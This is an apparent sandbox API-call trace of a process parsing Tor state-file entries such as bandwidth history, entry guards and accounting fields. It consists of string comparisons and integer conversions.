_strcmpi (_Str1="BWHistoryReadInterval", _Str2="EntryGuardUnlistedSince") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="EntryGuardAddedBy") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="EntryGuardPathBias") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="EntryGuardPathUseBias") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="EntryGuards") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="TransportProxy") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="TransportProxies") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="BWHistoryReadEnds") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadInterval", _Str2="BWHistoryReadInterval") returned 0 [0115.828] _errno () returned 0x9f07d8 [0115.828] strtol (in: _Str="900", _EndPtr=0x36f354, _Radix=10 | out: _EndPtr=0x36f354*="") returned 900 [0115.828] _errno () returned 0x9f07d8 [0115.828] strlen (_Str="BWHistoryReadValues") returned 0x13 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingBytesReadInInterval") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingExpectedUsage") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingIntervalStart") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingSecondsActive") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="EntryGuard") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="EntryGuardDownSince") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="EntryGuardUnlistedSince") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="EntryGuardAddedBy") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="EntryGuardPathBias") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="EntryGuardPathUseBias") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="EntryGuards") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="TransportProxy") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="TransportProxies") returned -1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="BWHistoryReadEnds") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="BWHistoryReadInterval") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadValues", _Str2="BWHistoryReadValues") returned 0 [0115.828] strlen (_Str="BWHistoryReadMaxima") returned 0x13 [0115.828] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingBytesReadInInterval") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingExpectedUsage") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingIntervalStart") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingSecondsActive") returned 1 [0115.828] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="EntryGuard") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="EntryGuardDownSince") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="EntryGuardUnlistedSince") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="EntryGuardAddedBy") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="EntryGuardPathBias") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="EntryGuardPathUseBias") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="EntryGuards") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="TransportProxy") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="TransportProxies") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="BWHistoryReadEnds") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="BWHistoryReadInterval") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="BWHistoryReadValues") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryReadMaxima", _Str2="BWHistoryReadMaxima") returned 0 [0115.829] strlen (_Str="BWHistoryWriteInterval") returned 0x16 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingBytesReadInInterval") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingExpectedUsage") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingIntervalStart") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingSecondsActive") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="EntryGuard") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="EntryGuardDownSince") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="EntryGuardUnlistedSince") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="EntryGuardAddedBy") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="EntryGuardPathBias") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="EntryGuardPathUseBias") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="EntryGuards") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="TransportProxy") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="TransportProxies") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="BWHistoryReadEnds") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="BWHistoryReadInterval") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="BWHistoryReadValues") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="BWHistoryReadMaxima") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="BWHistoryWriteEnds") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteInterval", _Str2="BWHistoryWriteInterval") returned 0 [0115.829] _errno () returned 0x9f07d8 [0115.829] strtol (in: _Str="900", _EndPtr=0x36f354, _Radix=10 | out: _EndPtr=0x36f354*="") returned 900 [0115.829] _errno () returned 0x9f07d8 [0115.829] strlen (_Str="BWHistoryWriteValues") returned 0x14 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingBytesReadInInterval") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingExpectedUsage") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingIntervalStart") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingSecondsActive") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="EntryGuard") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="EntryGuardDownSince") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="EntryGuardUnlistedSince") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="EntryGuardAddedBy") returned -1 [0115.829] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="EntryGuardPathBias") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="EntryGuardPathUseBias") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="EntryGuards") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="TransportProxy") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="TransportProxies") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="BWHistoryReadEnds") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="BWHistoryReadInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="BWHistoryReadValues") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="BWHistoryReadMaxima") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="BWHistoryWriteEnds") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="BWHistoryWriteInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteValues", _Str2="BWHistoryWriteValues") returned 0 [0115.830] strlen (_Str="BWHistoryWriteMaxima") returned 0x14 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingBytesReadInInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingExpectedUsage") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingIntervalStart") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingSecondsActive") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="EntryGuard") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="EntryGuardDownSince") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="EntryGuardUnlistedSince") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="EntryGuardAddedBy") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="EntryGuardPathBias") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="EntryGuardPathUseBias") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="EntryGuards") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="TransportProxy") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="TransportProxies") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryReadEnds") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryReadInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryReadValues") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryReadMaxima") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryWriteEnds") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryWriteInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryWriteValues") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryWriteMaxima", _Str2="BWHistoryWriteMaxima") returned 0 [0115.830] strlen (_Str="BWHistoryDirReadInterval") returned 0x18 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingBytesReadInInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingExpectedUsage") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingIntervalStart") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingSecondsActive") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="EntryGuard") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="EntryGuardDownSince") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="EntryGuardUnlistedSince") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="EntryGuardAddedBy") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="EntryGuardPathBias") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="EntryGuardPathUseBias") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="EntryGuards") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="TransportProxy") returned -1 [0115.830] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="TransportProxies") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryReadEnds") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryReadInterval") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryReadValues") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryReadMaxima") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryWriteEnds") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryWriteInterval") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryWriteValues") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryWriteMaxima") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryDirReadEnds") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadInterval", _Str2="BWHistoryDirReadInterval") returned 0 [0115.831] _errno () returned 0x9f07d8 [0115.831] strtol (in: _Str="900", _EndPtr=0x36f354, _Radix=10 | out: _EndPtr=0x36f354*="") returned 900 [0115.831] _errno () returned 0x9f07d8 [0115.831] strlen (_Str="BWHistoryDirReadValues") returned 0x16 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingBytesReadInInterval") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingExpectedUsage") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingIntervalStart") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingSecondsActive") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="EntryGuard") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="EntryGuardDownSince") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="EntryGuardUnlistedSince") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="EntryGuardAddedBy") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="EntryGuardPathBias") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="EntryGuardPathUseBias") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="EntryGuards") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="TransportProxy") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="TransportProxies") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryReadEnds") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryReadInterval") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryReadValues") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryReadMaxima") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryWriteEnds") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryWriteInterval") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryWriteValues") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryWriteMaxima") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryDirReadEnds") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryDirReadInterval") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadValues", _Str2="BWHistoryDirReadValues") returned 0 [0115.831] strlen (_Str="BWHistoryDirReadMaxima") returned 0x16 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingBytesReadInInterval") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingExpectedUsage") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingIntervalStart") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingSecondsActive") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="EntryGuard") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="EntryGuardDownSince") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="EntryGuardUnlistedSince") returned -1 [0115.831] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="EntryGuardAddedBy") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="EntryGuardPathBias") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="EntryGuardPathUseBias") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="EntryGuards") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="TransportProxy") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="TransportProxies") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryReadEnds") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryReadInterval") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryReadValues") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryReadMaxima") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryWriteEnds") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryWriteInterval") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryWriteValues") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryWriteMaxima") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryDirReadEnds") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryDirReadInterval") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryDirReadValues") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirReadMaxima", _Str2="BWHistoryDirReadMaxima") returned 0 [0115.832] strlen (_Str="BWHistoryDirWriteInterval") returned 0x19 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingBytesReadInInterval") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingExpectedUsage") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingIntervalStart") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingSecondsActive") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingSecondsToReachSoftLimit") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingSoftLimitHitAt") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="AccountingBytesAtSoftLimit") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="EntryGuard") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="EntryGuardDownSince") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="EntryGuardUnlistedSince") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="EntryGuardAddedBy") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="EntryGuardPathBias") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="EntryGuardPathUseBias") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="EntryGuards") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="TransportProxy") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="TransportProxies") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryReadEnds") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryReadInterval") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryReadValues") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryReadMaxima") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryWriteEnds") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryWriteInterval") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryWriteValues") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryWriteMaxima") returned -1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryDirReadEnds") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryDirReadInterval") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryDirReadValues") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryDirReadMaxima") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryDirWriteEnds") returned 1 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteInterval", _Str2="BWHistoryDirWriteInterval") returned 0 [0115.832] _errno () returned 0x9f07d8 [0115.832] strtol (in: _Str="900", _EndPtr=0x36f354, _Radix=10 | out: _EndPtr=0x36f354*="") returned 900 [0115.832] _errno () returned 0x9f07d8 [0115.832] strlen (_Str="BWHistoryDirWriteValues") returned 0x17 [0115.832] _strcmpi (_Str1="BWHistoryDirWriteValues", _Str2="AccountingBytesReadInInterval") returned 1 [0115.833] _strcmpi (_Str1="BWHistoryDirWriteValues", _Str2="AccountingBytesWrittenInInterval") returned 1 [0115.833] strlen (_Str="BWHistoryDirWriteMaxima") returned 0x17 [0115.833] strlen (_Str="CircuitBuildAbandonedCount") returned 0x1a [0115.833] strtol (in: _Str="0", _EndPtr=0x36f354, _Radix=10 | out: _EndPtr=0x36f354*="") returned 0 [0115.833] _errno () returned 0x9f07d8 [0115.833] strtol (in: _Str="900", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 900 [0115.833] _errno () returned 0x9f07d8 [0115.833] strtol (in: _Str="900", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 900 [0115.833] _errno () returned 0x9f07d8 [0115.833] strtol (in: _Str="900", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 900 [0115.833] _errno () returned 0x9f07d8 [0115.833] strtol (in: _Str="900", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 900 [0115.833] _errno () returned 0x9f07d8 [0115.833] strtol (in: _Str="0", _EndPtr=0x36f284, _Radix=10 | out: _EndPtr=0x36f284*="") returned 0 [0115.833] _errno () returned 0x9f07d8 [0115.833] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.833] strlen (_Str="AccountingBytesReadInInterval") returned 0x1d [0115.833] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.833] strlen (_Str="AccountingBytesWrittenInInterval") returned 0x20 [0115.833] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.833] strlen (_Str="AccountingExpectedUsage") returned 0x17 [0115.833] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.833] strlen (_Str="AccountingIntervalStart") returned 0x17 [0115.833] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.833] strlen (_Str="AccountingSecondsActive") returned 0x17 [0115.833] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.833] strlen (_Str="AccountingSecondsToReachSoftLimit") returned 0x21 [0115.833] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.833] strlen (_Str="AccountingSoftLimitHitAt") returned 0x18 [0115.834] strncmp (_Str1="Ac", _Str2="__", _MaxCount=0x2) returned -30 [0115.834] strlen (_Str="AccountingBytesAtSoftLimit") returned 0x1a [0115.834] strncmp (_Str1="En", _Str2="__", _MaxCount=0x2) returned -26 [0115.834] strlen (_Str="EntryGuards") returned 0xb [0115.834] strncmp (_Str1="Tr", _Str2="__", _MaxCount=0x2) returned -11 [0115.834] strlen (_Str="TransportProxies") returned 0x10 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] strlen (_Str="BWHistoryReadEnds") returned 0x11 [0115.834] strncmp (_Str1="BW", _Str2="__", _MaxCount=0x2) returned -29 [0115.834] 